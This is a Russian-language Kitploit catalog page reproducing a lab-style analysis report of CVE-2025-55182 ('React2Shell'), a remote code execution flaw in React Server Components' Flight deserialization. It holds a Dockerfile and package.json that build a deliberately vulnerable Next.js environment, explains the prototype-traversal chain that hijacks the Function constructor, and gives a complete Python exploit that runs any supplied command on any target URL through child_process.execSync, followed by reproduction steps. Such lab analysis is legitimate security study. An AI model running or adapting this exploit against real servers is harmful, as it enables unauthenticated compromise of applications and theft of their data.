Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-55182 — a.k.a. React2Shell | Kitploit
Инструменты/GitHubGitHub/ycseo-git/cve-2025-55182
Container SecurityDynamic Analysis (Sandboxing)Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationCTFLearning & EducationPayload DevelopmentLabs & Practice
GitHubycseo-git/cve-2025-55182
3 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-55182

a.k.a. React2Shell

Репозиторий

CVE-2025-55182 Отчет об анализе React2Shell

Разделы, требуемые руководящими принципами задания, отмечены "(Required)".

1. Окружение (Required)

1.1. Dockerfile (Required)

В данном окружении используется собственный Dockerfile на основе официального образа Node.js Alpine.

root@kitploit:~
FROM node:20-alpine

WORKDIR /app

COPY package.json ./
RUN npm install --legacy-peer-deps

COPY . .

EXPOSE 3000

CMD ["npm", "run", "dev"]

Dockerfile собирает уязвимое окружение с React Server Components (RSC) и Next.js App Router.

Окружение устанавливает уязвимые версии:

  • React 19 RC
  • React Server DOM Webpack
  • Next.js 15.0.0

Уязвимый сервер запускается в режиме разработки с помощью npm run dev.

Уязвимый сервер запускается в режиме разработки с помощью npm run dev.


1.2. Архитектура сервиса (Required)

Окружение работает по следующей структуре:

root@kitploit:~
[Атакующий / exploit.py]
          ↓
[Next.js App Router]
          ↓
[Парсер React Flight Protocol]
          ↓
[Среда выполнения React Server Components]
          ↓
[Среда выполнения Node.js]

Атакующий / exploit.py

Атакующий отправляет специально сформированный multipart/form-data запрос на уязвимое приложение Next.js.

Вредоносная полезная нагрузка злоупотребляет процессом десериализации протокола React Flight.

Next.js App Router

Уязвимое приложение использует архитектуру Next.js App Router.

Запрос обрабатывается через конвейер React Server Components.

Исходный код приложения находится в каталоге src/app/.

root@kitploit:~
src/
 └── app/
     ├── layout.js
     └── page.js

Файл layout.js определяет корневой макет, необходимый для структуры App Router, и инициализирует среду React Server Components.

root@kitploit:~
export default function RootLayout({ children }) {
  return (<html><body>{children}</body></html>);
}

Файл page.js определяет корневую страницу, отображаемую в /, и выводит простое сообщение о том, что уязвимый сервер работает.

root@kitploit:~
export default function Page() {
    return (<h1>Vulnerable Server</h1>);
  }

Зависимости проекта и скрипты выполнения управляются через файл package.json.

root@kitploit:~
{
    "name": "cve-2025-55182-vuln-app",
    "version": "1.0.0",
    "private": true,
    "scripts": {
        "dev": "next dev -p 3000"
    },
    "dependencies": {
        "next": "15.0.0",
        "react": "19.0.0-rc-65a56d0e-20241020",
        "react-dom": "19.0.0-rc-65a56d0e-20241020",
        "react-server-dom-webpack": "19.0.0-rc-65a56d0e-20241020"
    }
}

Этот файл определяет уязвимые версии:

  • Next.js
  • React
  • react-dom
  • react-server-dom-webpack

Уязвимое приложение запускается с помощью:

root@kitploit:~
"scripts": {
  "dev": "next dev"
}

Сервер запускается через:

root@kitploit:~
npm run dev

что запускает уязвимый сервер разработки Next.js на порту 3000.

Парсер React Flight Protocol

Протокол Flight десериализует сложные объекты React, такие как:

  • Ссылки на Promise
  • Ссылки на Blob
  • Ссылки на Chunk
  • Серверные действия
  • Циклические ссылки

Уязвимость возникает в ходе этого процесса десериализации.

Среда выполнения React Server Components

Среда выполнения React обрабатывает подконтрольные атакующему полезные нагрузки Flight.

Небезопасный обход свойств и доступ к прототипу в конечном итоге позволяют атакующим перехватить конструктор Function.

Среда выполнения Node.js

После успешной эксплуатации произвольный код JavaScript выполняется внутри серверного окружения Node.js.

Это приводит к удаленному выполнению кода (RCE).


1.3. Образы и версии (Required)

КомпонентВерсия
Node.js20-alpine
Next.js15.0.0
React19.0.0-rc
react-dom19.0.0-rc

Окружение использует уязвимые реализации React Server Components и протокола Flight.

2. Основная причина (Required)

2.1. Описание уязвимости (Required)

CVE-2025-55182, также известный как React2Shell, — это критическая уязвимость удаленного выполнения кода (RCE), затрагивающая React Server Components и протокол React Flight.

Уязвимость возникает в процессе десериализации подконтрольных атакующему полезных нагрузок протокола Flight.

Проблема позволяет атакующим:

  • создавать поддельные объекты chunk
  • злоупотреблять обходом прототипа
  • перехватывать конструктор Function
  • выполнять произвольный код JavaScript на сервере

Уязвимость особенно опасна, поскольку эксплуатация может происходить без аутентификации с помощью одного специально сформированного HTTP-запроса.

Приложения, использующие уязвимые версии React Server Components и конфигурации Next.js App Router, напрямую подвержены риску.


2.2. Анализ основной причины (Required)

Основная причина уязвимости — небезопасная обработка подконтрольных атакующему ссылок на объекты во время десериализации протокола Flight.

React Flight внутренне использует специальные строки ссылок, такие как:

root@kitploit:~
$@0
$B1337
$1:__proto__:then

Эти ссылки рекурсивно разрешаются во время десериализации.

Уязвимая логика выполняет обход свойств, аналогичный:

root@kitploit:~
value[path[i]]

без проверки, принадлежит ли свойство самому объекту.

В результате атакующие могут получить доступ к опасным свойствам цепочки прототипов JavaScript, таким как:

root@kitploit:~
__proto__
constructor
prototype

Это в конечном итоге позволяет осуществить загрязнение прототипа и перехват конструктора Function.

Создание поддельного Chunk

Атакующий сначала создает поддельный объект chunk React.

root@kitploit:~
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "touch /tmp/success.txt",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

Критическое поле:

root@kitploit:~
"status": "resolved_model"

Среда выполнения React ошибочно доверяет этому полю и обрабатывает подконтрольный атакующему объект как легитимный внутренний объект chunk.

Загрязнение прототипа

Полезная нагрузка:

root@kitploit:~
$1:__proto__:then

заставляет десериализатор обходить цепочку прототипов JavaScript.

Поскольку уязвимый код не проверяет опасные свойства, атакующий получает доступ к:

root@kitploit:~
Chunk.prototype.then

Это превращает поддельный chunk в thenable-объект.

Перехват конструктора Function

Полезная нагрузка:

root@kitploit:~
$1:constructor:constructor

в конечном итоге разрешается в:

root@kitploit:~
Function

Это заменяет:

root@kitploit:~
response._formData.get

на глобальный конструктор Function JavaScript.

В результате становится возможным:

root@kitploit:~
Function(attacker_controlled_payload)

Триггер разбора Blob

Полезная нагрузка:

root@kitploit:~
$B1337

заставляет парсер React Flight перейти в логику разбора Blob.

В ходе этого процесса выполняется:

root@kitploit:~
response._formData.get(...)

Однако атакующий уже заменил эту функцию на глобальный конструктор Function.

Это окончательно приводит к выполнению произвольного кода JavaScript внутри среды выполнения Node.js.


2.3. Процесс запуска уязвимости (Required)

Процесс эксплуатации происходит в следующем порядке:

root@kitploit:~
Запрос атакующего
        ↓
Разбор полезной нагрузки Flight
        ↓
Создание поддельного Chunk
        ↓
Загрязнение прототипа
        ↓
Перехват конструктора Function
        ↓
Триггер разбора Blob
        ↓
Разрешение Promise
        ↓
Удаленное выполнение кода

Атакующий сначала отправляет специально сформированный многокомпонентный Flight-запрос.

Уязвимый сервер десериализует вредоносную полезную нагрузку и рекурсивно разрешает подконтрольные атакующему ссылки.

Небезопасный обход прототипа в конечном итоге позволяет атакующему перехватить конструктор Function.

В ходе разрешения Promise и разбора Blob выполняется произвольный код JavaScript.


2.4. Вектор атаки и влияние (Required)

Успешная эксплуатация позволяет атакующим выполнять произвольный код JavaScript внутри серверного окружения Node.js.

В данном окружении эксплойт выполняет:

root@kitploit:~
touch /tmp/success.txt

Успешная эксплуатация подтверждается, если внутри контейнера существует следующий файл:

root@kitploit:~
/tmp/success.txt

В реальных окружениях атакующие могут:

  • выполнять произвольные системные команды
  • загружать и запускать вредоносное ПО
  • похищать конфиденциальные данные сервера
  • переходить на внутреннюю инфраструктуру
  • компрометировать серверные системы
  • злоупотреблять конвейерами серверного рендеринга

Уязвимость особенно опасна, поскольку затрагивает внутренние механизмы фреймворка React, а не бизнес-логику приложения.

Это означает, что большое количество приложений может стать уязвимым просто из-за использования затронутых версий фреймворка.

3. PoC (Required)

3.1. Обзор PoC (Required)

Proof of Concept (PoC) написан на Python.

Эксплойт отправляет вредоносный multipart/form-data запрос напрямую на уязвимое приложение Next.js.

PoC выполняет следующие действия:

  1. Создает вредоносную полезную нагрузку протокола Flight
  2. Строит поддельные ссылки на chunk React
  3. Запускает обход прототипа
  4. Перехватывает конструктор Function
  5. Выполняет произвольный код JavaScript внутри среды выполнения Node.js

3.2. Код PoC

root@kitploit:~
import requests
import sys

def exploit_rce(url, command):
    headers = {
        "Host": "localhost",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
        "Next-Action": "x",
        "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
    }


    payload_json = (
        '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
        '"value":"{\\"then\\":\\"$B1337\\"}","_response":{'
        f'"_prefix":"process.mainModule.require(\'child_process\').execSync(\'{command}\');",'
        '"_formData":{"get":"$1:constructor:constructor"}}}'
    )

    data = (
        "------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
        "Content-Disposition: form-data; name=\"0\"\r\n"
        "\r\n"
        f"{payload_json}\r\n"
        "------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
        "Content-Disposition: form-data; name=\"1\"\r\n"
        "\r\n"
        "\"$@0\"\r\n"
        "------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"
    )

    try:
        print(f"[*] Sending RCE payload to {url}...")
        print(f"[*] Command: {command}")
        
        response = requests.post(url, headers=headers, data=data, timeout=10)
        
        print(f"[*] Status Code: {response.status_code}")
        print(f"[*] Response Body Preview: {response.text[:500]}")
        
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    target_url = "http://localhost:3000"
    cmd = "touch /tmp/success.txt"
    
    if len(sys.argv) > 1:
        cmd = sys.argv[1]
    if len(sys.argv) > 2:
        target_url = sys.argv[2]
    
    exploit_rce(target_url, cmd)

3.3. Анализ полезной нагрузки (Required)

Полезная нагрузка эксплойта использует несколько специально сформированных ссылок протокола Flight.

$1:__proto__:then

ЧастьНазначение
$1Ссылка на chunk 1
__proto__Обход цепочки прототипов
thenИзвлечение Chunk.prototype.then

Эта полезная нагрузка превращает поддельный chunk в thenable-объект.


$1:constructor:constructor

ЧастьНазначение
$1Ссылка на chunk 1
constructorДоступ к конструктору объекта
constructorРазрешение до глобального конструктора Function

Эта полезная нагрузка перехватывает конструктор Function JavaScript.


$B1337

Префикс $B заставляет парсер Flight перейти в логику разбора Blob.

В ходе этого процесса выполняется:

root@kitploit:~
response._formData.get(...)

Поскольку атакующий уже заменил этот метод на конструктор Function, выполняется произвольный код JavaScript.


$@0

Эта полезная нагрузка создает циклическую ссылку на chunk.

Chunk 1 в конечном итоге снова ссылается на Chunk 0.

Такая структура позволяет десериализатору использовать подконтрольный атакующему поддельный объект chunk во время обхода прототипа.


3.4. Процесс выполнения кода PoC (Required)

Генерация границы

Эксплойт сначала создает случайную многокомпонентную границу.

root@kitploit:~
boundary = "----WebKitFormBoundary" + uuid.uuid4().hex

Это необходимо для построения валидного запроса multipart/form-data.

Создание поддельного Chunk

Эксплойт создает вредоносный поддельный объект chunk.

root@kitploit:~
"status":"resolved_model"

Это заставляет среду выполнения React обрабатывать подконтрольный атакующему объект как валидный внутренний chunk.

Обход прототипа

Следующая полезная нагрузка:

root@kitploit:~
$1:__proto__:then

заставляет уязвимый парсер обходить цепочку прототипов JavaScript.

Перехват конструктора Function

Следующая полезная нагрузка:

root@kitploit:~
$1:constructor:constructor

заменяет внутренний метод get на конструктор Function JavaScript.

Выполнение произвольного кода

Полезная нагрузка:

root@kitploit:~
require('child_process').execSync('touch /tmp/success.txt')

в конечном итоге выполняется внутри среды выполнения Node.js.

Ожидаемый результат

Успешная эксплуатация создает:

root@kitploit:~
/tmp/success.txt

внутри уязвимого контейнера.

4. Воспроизведение (Required)

4.1. Процесс выполнения PoC и эксплойта (Required)

Полный поток эксплойта приведен ниже:

root@kitploit:~
Запуск Docker-окружения
        ↓
Запуск уязвимого сервера Next.js
        ↓
Выполнение exploit.py
        ↓
Отправка вредоносной полезной нагрузки Flight
        ↓
Запуск загрязнения прототипа
        ↓
Перехват конструктора Function
        ↓
Запуск разбора Blob
        ↓
Выполнение произвольного кода
        ↓
Проверка /tmp/success.txt

4.2. Фактические шаги выполнения эксплойта (Required)

Сборка уязвимого окружения

Сборка Docker-образа.

root@kitploit:~
docker build -t rsc-vuln .

Запуск уязвимого контейнера

Запуск уязвимого контейнера.

root@kitploit:~
docker run -d -p 3000:3000 --name my-vuln-server rsc-vuln

Уязвимый сервер Next.js будет работать на:

root@kitploit:~
http://127.0.0.1:3000

Запуск эксплойта

Выполнение скрипта PoC.

root@kitploit:~
python3 exploit.py

Эксплойт отправляет вредоносную полезную нагрузку React Flight на уязвимый сервер Next.js.

Проверка удаленного выполнения кода

Проверка, успешно ли эксплойт создал целевой файл.

root@kitploit:~
docker exec -it my-vuln-server ls -la /tmp/success.txt

Успешная эксплуатация подтверждает, что произвольное выполнение кода произошло внутри уязвимого контейнера.


4.3. Анализ результатов (Required)

Ожидаемый вывод

При успешной эксплуатации эксплойт должен запустить десериализацию React Flight и обход прототипа.

Уязвимый сервер обрабатывает вредоносную полезную нагрузку Flight и выполняет подконтрольный атакующему код JavaScript.

Проверка успешной эксплуатации

Успешная эксплуатация подтверждается при наличии следующего файла:

root@kitploit:~
/tmp/success.txt

Пример вывода:

root@kitploit:~
-rw-r--r--    1 root     root             0 Jan  1 00:00 /tmp/success.txt

Это подтверждает, что произвольные команды были успешно выполнены внутри уязвимой среды Node.js.


4.4. Скриншоты (Required)

Следующие скриншоты были включены в каталог screenshots/:

Docker Environment

Exploit Execution

Скачать инструмент
react-server-dom-webpack
19.0.0-rc